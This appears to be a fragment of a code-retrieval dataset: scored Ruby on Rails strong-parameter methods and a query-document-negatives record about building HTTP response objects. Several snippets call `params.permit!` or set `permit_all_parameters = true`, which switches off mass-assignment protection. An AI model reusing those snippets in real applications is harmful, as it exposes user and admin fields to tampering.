"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Creates a new response.
|
def initialize(header, body, code)
@header = header
@body = body
@code = code
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_response(request)\n response = Response.new\n end",
"def response_factory(data)\n\t\t\t\t\t\treturn Response.new(data)\n\t\t\t\t\tend",
"def create_response(request, http_response, body = nil)\n HttpOperationResponse.new(request, http_response, body)\n end",
"def response(arguments = {})\n Response.new(self, arguments)\n end",
"def create_response(response, first_response=nil)\n message = message_from(response)\n\n # This allows the second response to grab the auth info from the first\n first_response ||= response\n\n Response.new(!response.has_key?(:ErrCode), message, response,\n :test => test?,\n # The AccessPass and AccessID are used for all alterations to a\n # transaction, so we store that as the authorization instead of TranID\n :authorization => \"#{first_response[:AccessID]}-#{first_response[:AccessPass]}\"\n )\n end",
"def create_response(sender, options={}, force=false)\n response = nil\n if force || allows_response?(sender)\n response = self.responses.create(response_options(sender, options))\n response.activate! if response.valid?\n end\n response\n end",
"def new\n @resp = Response.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resp }\n end\n end",
"def new\n @response = Response.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @response }\n end\n end",
"def new\n @response = Response.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @response }\n end\n end",
"def create_response(response)\r\n\r\n#\r\n#\tSetup default response values.\r\n#\r\n message = nil\r\n authorization = nil\r\n success = false\r\n exception = nil\r\n#\r\n#\tExtract key elements from the response.\r\n#\r\n reasonCode = response.Get(RocketGate::GatewayResponse::REASON_CODE);\r\n message = @@response_codes[('r' + reasonCode).to_sym] || \"ERROR - \" + reasonCode\r\n responseCode = response.Get(RocketGate::GatewayResponse::RESPONSE_CODE);\r\n if ((responseCode != nil) && (responseCode == \"0\"))\r\n success = true; # Transaction succeeded\r\n authorization = response.Get(RocketGate::GatewayResponse::TRANSACT_ID);\r\n else\r\n exception = response.Get(RocketGate::GatewayResponse::EXCEPTION);\r\n end\r\n\r\n#\r\n#\tExtract values that are not dependent up success/failure.\r\n#\r\n avsResponse = response.Get(RocketGate::GatewayResponse::AVS_RESPONSE)\r\n cvv2Response = response.Get(RocketGate::GatewayResponse::CVV2_CODE)\r\n fraudResponse = response.Get(RocketGate::GatewayResponse::SCRUB_RESULTS)\r\n\r\n#\r\n#\tCreate the response object.\r\n#\r\n card_hash = response.Get(RocketGate::GatewayResponse::CARD_HASH)\r\n Response.new(success, message, {:result => responseCode, :exception => exception, :card_hash => card_hash},\r\n :test => test?,\r\n :authorization => authorization,\r\n :avs_result => {:code => avsResponse},\r\n :cvv_result => cvv2Response,\r\n :fraud_review => fraudResponse\r\n )\r\n end",
"def create\n @response = Response.new(response_params)\n\n respond_to do |format|\n if @response.save\n format.html { redirect_to @response }\n format.json { render :show, status: :created, location: @response }\n else\n format.html { render :new }\n format.json { render json: @response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @response = Admin::Response.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @response }\n end\n end",
"def construct_new_resource(response)\n data = JSON.parse(response.body, symbolize_names: true)\n new(data)\n end",
"def create_success_response\n response = {\n body: {\n status: \"ok\"\n },\n status: 200\n }\n return response\n end",
"def new\n @response = Response.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @response }\n end\n end",
"def convert_response(response)\r\n HttpResponse.new(response.status, response.headers, response.body)\r\n end",
"def create\n @response = Response.new(params[:response])\n\n respond_to do |format|\n if @resp.save\n flash[:notice] = 'Response was successfully created.'\n format.html { redirect_to(response_url(@questionnaire, @resp)) }\n format.xml { render :xml => @resp, :status => :created, :location => @resp }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @resp.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_Found_Response(request_path)\n\tbody = File.read(request_path)\n\tinitial = generic_Generate_Initial(200)\n\theaders = generic_Generate_Headers(body)\n\tgeneric_Generate_Response(initial,headers,body)\nend",
"def create\n @response = Admin::Response.new(params[:admin_response])\n\n respond_to do |format|\n if @response.save\n format.html { redirect_to @response, notice: 'Response was successfully created.' }\n format.json { render json: @response, status: :created, location: @response }\n else\n format.html { render action: \"new\" }\n format.json { render json: @response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @response = Response.new(params[:response])\n\n respond_to do |format|\n if @response.save\n format.html { redirect_to @response, notice: 'Response was successfully created.' }\n format.json { render json: @response, status: :created, location: @response }\n else\n format.html { render action: \"new\" }\n format.json { render json: @response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @response = Response.new(response_params)\n\n respond_to do |format|\n if @response.save\n format.html { redirect_to @response, notice: 'Response was successfully created.' }\n format.json { render :show, status: :created, location: @response }\n else\n format.html { render :new }\n format.json { render json: @response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @response = Response.new(response_params)\n\n respond_to do |format|\n if @response.save\n format.html { redirect_to @response, notice: 'Response was successfully created.' }\n format.json { render :show, status: :created, location: @response }\n else\n format.html { render :new }\n format.json { render json: @response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_b2bua_response(session, orig_response=session.iresponse)\n peer_session = get_peer_session(session)\n if peer_session\n r = peer_session.create_response(orig_response.code)\n r.copy_from(orig_response, :content, :content_type, :path, :service_route, :privacy, :warning)\n return r\n else\n @ilog.warn(\"No peer session found, cannot create the response\") if @ilog.warn?\n raise \"Unable to create response\"\n end \n end",
"def create\n @response = Response.new(response_params)\n\n respond_to do |format|\n if @response.save\n format.html { redirect_to @response, notice: 'Response was successfully created.' }\n format.json { render action: 'show', status: :created, location: @response }\n else\n format.html { render action: 'new' }\n format.json { render json: @response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def intitiate_response_object \n response_object = Hash.new\n response_object[:status] = \"failure\"\n response_object[:statusCode] = 500\n response_object[:response] = \"\"\n response_object[:message] = \"The server encountered an unexpected condition which prevented it from fulfilling the request\"\n return response_object\n end",
"def response\n [ @_status || DEFAULT_RESPONSE_CODE, headers, @_body || DEFAULT_RESPONSE_BODY.dup ]\n end",
"def response\n [ @_status || DEFAULT_RESPONSE_CODE, headers, @_body || DEFAULT_RESPONSE_BODY.dup ]\n end",
"def new_response\n {:success => true}\n end",
"def response code, desc, media_type = nil, hash = { }\n (self[:responses] ||= { })[code] = ResponseObj.new(desc, media_type, hash)\n end",
"def create\n @response = Response.new\n \n reason = Reason.new\n reason.why = params[:response][:reason][:why]\n reason.critique = params[:response][:reason][:critique]\n @response.reasons = [reason]\n\n @response.who = params[:response][:who]\n @response.ip_address = request.remote_ip\n @response.user_agent = request.env['HTTP_USER_AGENT']\n\n respond_to do |format|\n if @response.save\n format.html { redirect_to root_url, notice: 'Your response was successfully submitted! Thanks for taking the time to affect change in our government.' }\n format.json { render json: @response, status: :created, location: @response }\n else\n format.html { render action: \"new\" }\n format.json { render json: @response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @response = Response.new(response_params)\n @response.user = 'Anonymous' if @response.user.nil? or @response.user.empty?\n\n respond_to do |format|\n if @response.save\n format.html { redirect_to root_path, notice: 'Response was successfully created.' }\n format.json { render :show, status: :created, location: @response }\n else\n format.html { render :new }\n format.json { render json: @response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def build_response\n { status: :success, data: {} }\n end",
"def create\n puts \"\\n\\n\\nBack where I come from\\n\\n\\n\\n\\n\"\n @response = Response.new(response_params)\n puts \"\\n\\n\\n\\n THESE ARE THE RESPONSE PARAMS \\n\\n\\n\\n\"\n puts response_params\n\n respond_to do |format|\n if @response.save\n format.html { redirect_to @response, notice: 'Response was successfully created.' }\n format.json { render action: 'show', status: :created, location: @response }\n else\n format.html { render action: 'new' }\n format.json { render json: @response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @request = Request.new\n respond_with(@request)\n end",
"def build_object\n response = make_request\n body = JSON.load(response.body) if response.body \n body = { response: body } if body.is_a? Array\n hash = body.to_snake_keys if body\n response_object = Hashie::Mash.new(hash)\n response_object.status_code = response.code.to_i unless response_object.status_code\n response_object\n end",
"def response_created(data = {})\n render status: 201, json: data\n end",
"def prepare_response(response)\n response\n end",
"def create\n @response = current_user.responses.build(response_params)\n\n respond_to do |format|\n if @response.save\n format.html { redirect_to session.delete(:return_to), notice: 'Response was successfully created.' }\n else\n format.html { redirect_to requests_path, notice: 'Response was not saved.' }\n end\n end\n end",
"def new\n @response_format = ResponseFormat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @response_format }\n end\n end",
"def create\n @response = Response.new(response_params)\n\n respond_to do |format|\n if @response.save\n format.html { redirect_to thanks_path, notice: 'Your response was successfully saved.' }\n format.json { render :show, status: :created, location: @response }\n else\n format.html { render :new }\n format.json { render json: @response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # if there are any line items, they should all be valid.\n validate_line_items\n\n # make the API call\n # response = Docdata.client.call(:create, xml: create_xml)\n # response_object = Docdata::Response.parse(:create, response)\n if response_object.success?\n self.key = response_object.key\n end\n\n # set `self` as the value of the `payment` attribute in the response object\n response_object.payment = self\n response_object.url = redirect_url\n\n return response_object\n end",
"def create\n @response = Response.new(response_params)\n\n @response.user_id = @current_user.id\n\n if @response.title.to_s == \"\" || @response.language.to_s == \"\" || @response.industry.to_s == \"\" || @response.level.to_s == \"\" || @response.avatar.to_s == \"\" || @response.response_type.to_s == \"\"\n return redirect_to new_response_path, notice: \"Please fill in all required fields\"\n end\n\n # data = {:message => @response, :status => \"false\"}\n # return render :json => data, :status => :ok\n\n respond_to do |format|\n if @response.save\n format.html { redirect_to responses_path, notice: 'Response was successfully created.' }\n format.json { render :show, status: :created, location: @response }\n else\n # data = {:message => @response.errors, :status => \"false\"}\n # return render :json => data, :status => :ok\n format.html { render :new }\n format.json { render json: @response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def make_response(status, body)\n {\n statusCode: status,\n body: JSON.generate(body)\n }\nend",
"def response(text, status = 200, headers = {})\n raise \"Cannot respond multiple times\" unless @response.nil?\n @response = Rack::Response.new([text].flatten, status, headers)\n end",
"def set_http_response(response, skip_body=false)\n @data[:response][:instance] = HTTPResponse.new(\n response.code,\n skip_body ? nil : response.body,\n response.to_hash,\n response\n )\n nil\n end",
"def build_response(resource_name)\n response = yield\n resource = response_successful?(response) ? resource_name : \"error\"\n\n response_object = Montage::Response.new(response.status, response.body, resource)\n\n set_token(response_object.token.value) if resource_name == \"token\" && response.success?\n\n response_object\n end",
"def sample_create_account_response(success)\n if success\n raw_response = OpenStruct.new(\n parsed_response: {\n \"success\"=>true,\n \"account\"=> {\n \"identifier\"=>\"asdfasdfasdf\",\n \"email\"=>\"asdfasdf@asdfasdf.com\",\n \"customer\"=>\"bonusly\",\n \"available_balance\"=>0\n }\n },\n code: 200\n )\n else\n raw_response = OpenStruct.new(\n parsed_response: {\n \"success\"=>false,\n \"error_message\"=>\"The account already exists for the platform.\"\n },\n code: 403\n )\n end\n Tangocard::Response.new(raw_response)\n end",
"def response_block\n create_response_block\n end",
"def response_block\n create_response_block\n end",
"def make_response(status, body)\n {\n statusCode: status,\n body: JSON.generate(body)\n }\nend",
"def make_response(status, body)\n {\n statusCode: status,\n body: JSON.generate(body)\n }\nend",
"def create_questionnaire_response(data)\n attrs = data.to_h.with_indifferent_access\n response = questionnaire_response_service.create(attrs)\n\n response.tap do |resp|\n if resp.response[:code] == SUCCESS_STATUS\n questionnaire_response.tap do |qr|\n qr.user_uuid = user.uuid\n qr.user_account = user.user_account\n qr.appointment_id = attrs.dig(:appointment, :id)\n qr.questionnaire_response_id = resp.resource.id\n qr.user = user\n qr.questionnaire_response_data = data\n\n qr.save\n end\n end\n end\n end",
"def build_response\n enrich_object(fawry_api_response)\n end",
"def make_response(status, body)\r\n {\r\n statusCode: status,\r\n body: JSON.generate(body)\r\n }\r\nend",
"def build_response(response)\n \"HTTP/1.1 #{response[:status_code]} #{response[:status_message]}\\r\\n\" +\n \"Content-Type: text/plain\\r\\n\" +\n \"Content-Length: #{response[:bytesize]}\\r\\n\" +\n \"Connection: close\\r\\n\"\n end",
"def create\n HTTParty.post(create_url, :options => { :headers => HEADERS })\n end",
"def make_adapter_response(response)\n adapter_response = Response.new\n case response\n when Net::HTTPSuccess \n adapter_response.body = JSON.parse(response.body)\n adapter_response.success = true\n when Net::HTTPServerError \n adapter_response.success = false\n adapter_response.error = :server_error\n when Net::HTTPClientError \n adapter_response.success = false\n adapter_response.error = :client_error\n else\n adapter_response.success = false\n adapter_response.error = :unknown\n end\n adapter_response\n end",
"def create\n @response = @bbs_thread.responses.build(response_params)\n\n respond_to do |format|\n if @response.save\n write_session\n\n format.html { redirect_to bbs_thread_path(@bbs_thread.id), notice: t('notice.response.create') }\n format.json { render :show, status: :created, location: @bbs_response }\n else\n format.html { redirect_to bbs_thread_path(@bbs_thread.id), alert: @response.errors.full_messages }\n format.json { render json: @response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_response(info_request, incoming_message)\n # Don't use login link here, just send actual URL. This is\n # because people tend to forward these emails amongst themselves.\n url = main_url(incoming_message_url(incoming_message))\n\n @from = contact_from_name_and_email\n headers 'Return-Path' => blackhole_email, 'Reply-To' => @from, # not much we can do if the user's email is broken\n 'Auto-Submitted' => 'auto-generated' # http://tools.ietf.org/html/rfc3834\n @recipients = info_request.user.name_and_email\n @subject = \"New response to your FOI request - \" + info_request.title\n @body = { :incoming_message => incoming_message, :info_request => info_request, :url => url }\n end",
"def create_response(api_response, errors)\n Rails.logger.error \"#{Time.now} ERRORS: #{errors}\"\n api_response[:code] = 99 if errors.length >= 1\n unless errors.empty?\n long_error = \"\"\n errors.each do |error|\n long_error += \"#{error} \"\n end\n api_response[:result] = long_error\n end\n return api_response\n end",
"def wrap_response(response)\n\t\t\t\t\tif body = response.body\n\t\t\t\t\t\tresponse.body = parser_for(response).new(body)\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\treturn response\n\t\t\t\tend",
"def create\n json authentication_response, :status => authentication_response_status\n end",
"def create( options )\n\t\t\topt = { :transaction_id => nil, \n\t\t\t\t:in_response_to => nil,\n\t\t\t\t:status => \"urn:oasis:names:tc:SAML:2.0:status:Success\", \n\t\t\t\t:extra_parameters => nil }.merge(options)\n\t\t\treturn nil if opt[:transaction_id].nil?\n\t\t\t@response = REXML::Document.new\n\t\t\t@response.context[:attribute_quote] = :quote\n\t\t\tuuid = \"_\" + UUID.new.generate\n\t\t\ttime = Time.now.utc.strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n\t\t\troot = @response.add_element \"saml2p:LogoutResponse\", { \"xmlns:saml2p\" => PROTOCOL }\n\t\t\troot.attributes['ID'] = uuid\n\t\t\troot.attributes['IssueInstant'] = time\n\t\t\troot.attributes['Version'] = \"2.0\"\n\t\t\t# Just convenient naming to accept both names as InResponseTo\n\t\t\tif opt[:transaction_id] \n\t\t\t\troot.attributes['InResponseTo'] = opt[:transaction_id]\n\t\t\telsif opt[:in_response_to]\n\t\t\t\troot.attributes['InResponseTo'] = opt[:in_response_to]\n\t\t\tend\n\t\t\tif opt[:status]\n\t\t\t\tstatus = root.add_element \"saml2p:Status\"\n\t\t\t\tstatus_code = status.add_element \"saml2p:StatusCode\", {\n\t\t\t\t\t\t\"Value\" => opt[:status]\n\t\t\t\t}\n\t\t\tend\n\t\t\tif @settings && @settings.issuer\n\t\t\t\tissuer = root.add_element \"saml:Issuer\", {\n\t\t\t\t\t\"xmlns:saml\" => \"urn:oasis:names:tc:SAML:2.0:assertion\"\n\t\t\t\t}\n\t\t\t\tissuer.text = @settings.issuer\n\t\t\tend\n\t\t\tmeta = Metadata.new( @settings )\n\t\t\tLogging.debug \"Created LogoutResponse:\\n#{@response}\"\n\t\t\treturn meta.create_slo_response( to_s, opt[:extra_parameters] )\n\t\t\t\n\t\t\t#root.attributes['Destination'] = action\n\t\t\t\n\t\tend",
"def generic_Generate_Response(initial,headers,body)\n\ts=initial\n\ts << \"\\r\\n\" << headers # headers start in second line\n\tif body.length>0\n\t\ts << \"\\r\\n\" << body # body start after a blank line, first \\r\\n is for change line from headers, second is for blank line\n\tend\n\treturn s\nend",
"def build_response(connection, request); end",
"def wrap_response(response)\n TinyProxy::Response.new(response.to_hash,\n response.body,\n response.code,\n response.msg)\n end",
"def create_response\n\t\t@response = Response.create(player_id: current_player.id, option_id: params[:option])\n\t\t@question = @response.option.question\n\t\t@total_questions = @question.artist.questions.count\n\t\t@answered = params[:correct].to_i\n\t\tif (@response.option.correct) && (@answered < @total_questions) \n\t\t\t@answered += 1\n\t\t\tredirect_to category_artist_path(last_question: @question.id, correct: @answered,\n\t\t\tcategory_id: @question.artist.category.id, id: @question.artist.id)\n\t\telsif @response.option.correct\n\t\t\tredirect_to category_path(@question.artist.category)\n\t\telse\n\t\t\tartist = @response.option.question.artist\n\t\t\tredirect_to category_path(artist.category), notice: \"Sorry try again!\"\n\t\tend\n\tend",
"def create\n\t\tcase request.format\n\t\twhen 'html'\n\t\t\t@whos_home_response = WhosHomeResponse.new(whos_home_response_params)\n\t\twhen 'json'\n\t\t\tresponseHash = ActiveSupport::JSON.decode(request.raw_post)[\"whos_home_response\"]\n\t\t\t@whos_home_response = WhosHomeResponse.new\n\t\t\t@whos_home_response.whos_home_request_id = responseHash[\"whos_home_request_id\"]\n\t\t\t@whos_home_response.user_id = responseHash[\"user_id\"]\n\t\t\t@whos_home_response.is_home = responseHash[\"is_home\"]\n\t\tend\n\n respond_to do |format|\n if @whos_home_response.save\n format.html { redirect_to @whos_home_response, notice: 'Whos home response was successfully created.' }\n format.json { render action: 'show', status: :created, location: @whos_home_response }\n else\n format.html { render action: 'new' }\n format.json { render json: @whos_home_response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initialize(response, path, options = {})\n\n # puts \"Init NG:Response , original response : #{response}\"\n # headers\n # @fields = response.get_fields\n # @header = response.to_hash\n @response = response\n puts @response\n puts \"\"\n\n #status\n @code = response.code\n puts @code\n puts \"\"\n # @message = response.message\n @response_name = response.class.name\n\n # @cookie = response.get_fields('set-cookie')\n\n #body\n if( response.body[0] != '{' && response.body[0] != '[')\n #puts \"no wrapper\"\n @body = response.body\n\n else\n # puts \"wrapper : #{response.body[0]}\"\n @body = JSON.parse(response.body)\n end\n\n @path = path\n end",
"def response #:nodoc:\n current_params = request.params\n @response ||= {}\n return @response[current_params] if @response.has_key? current_params\n response_object = Response.new self\n response_object.load_data\n @response[current_params] = response_object\n end",
"def create\n @response = Response.new(response_params)\n\n respond_to do |format|\n if @response.save\n format.html { redirect_to survey_responses_path(@survey), notice: 'Thanks for your response!' }\n format.json { render :show, status: :created, location: @response }\n else\n format.html { render :new }\n format.json { render json: @response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def response\n @response ||= Rack::Response.new\n end",
"def create\n @response = Verify::Response.translate(saml_response: params[\"SAMLResponse\"], request_id: session[:verify_request_id], level_of_assurance: \"LEVEL_2\")\n report_redacted_response\n if @response.verified?\n parser = Claim::VerifyResponseParametersParser.new(@response.parameters)\n current_claim.update!(parser.attributes)\n redirect_to claim_url(current_policy_routing_name, \"verified\")\n else\n redirect_to verify_path_for_response_scenario(@response.scenario)\n end\n end",
"def new\n @response_domain_text = ResponseDomainText.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @response_domain_text }\n end\n end",
"def test_new_creates_something\n @response = CToolsDirectResponse.new(@@empty_response, Hash.new)\n refute_nil @response, \"get connector object\"\n refute_nil @@testFileDir, \"locate test file directory\"\n end",
"def unpack(response)\n return OTPResponse.new(response)\n end",
"def create\n @question_response = QuestionResponse.new(params[:question_response])\n\n respond_to do |format|\n if @question_response.save\n format.html { redirect_to @question_response, notice: 'Question response was successfully created.' }\n format.json { render json: @question_response, status: :created, location: @question_response }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question_response.errors, status: :unprocessable_entity }\n end\n end\n end",
